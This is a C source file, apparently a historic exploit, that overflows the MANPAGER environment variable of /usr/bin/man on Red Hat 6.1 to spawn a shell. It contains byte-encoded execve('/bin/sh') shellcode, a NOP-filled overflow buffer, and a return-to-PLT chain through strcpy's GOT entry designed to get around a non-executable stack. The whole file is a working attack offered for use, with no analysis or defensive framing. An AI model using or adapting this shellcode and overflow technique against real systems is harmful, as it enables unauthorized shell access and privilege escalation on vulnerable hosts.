/*
 * Rewriten from:
 * (c) 2000 babcia padlina / b0f
 * (lcamtuf's idea)
 * by Kil3r of Lam3rZ
 * for nonexec stack environment
 * 
 * redhat 6.1 (and others) /usr/bin/man exploit
*/

char execshell[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";


#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>

#define STRCPY		0x80490e4	// <== strcpy() PLT entry
#define	GOT		0x805038c	// <== strcpy() GOT entry
#define NOP		0x90
#define BUFSIZE		4033+38
#define RET		STRCPY		//0x46464646
#define _BIN_SH		0xbfffffe7 	// <== where we have "/bin/sh" string,
//    curently useless ;)
#define SHELLCODE	0xbfffffc1

long getesp(void)
{
  __asm__("movl %esp, %eax\n");
}

int main(argc, argv)
int argc;
char **argv;
{
  char buf[BUFSIZE], *p;
  char *env[3];
  int *ap;

  memset(buf,NOP,BUFSIZE);

  p=buf+BUFSIZE-4;
  ap=(int *)p;
  *ap++ =RET;
  *ap++ =GOT+4;
  *ap++ =GOT+4;
  *ap++ =SHELLCODE;

  fprintf(stderr, "RET: 0x%x  SHELLCODE: 0x%x", RET, SHELLCODE);

  memcpy(buf,"MANPAGER=", 9);
  env[0]=buf;
  //	env[1]="/bin/sh";
  env[1]=execshell;
  env[2]=(char *)0;
  execle("/usr/bin/man", "man", "ls", 0, env); // use execle to have
  // shellcode and other params at fixed addr!!!

  return 0;
}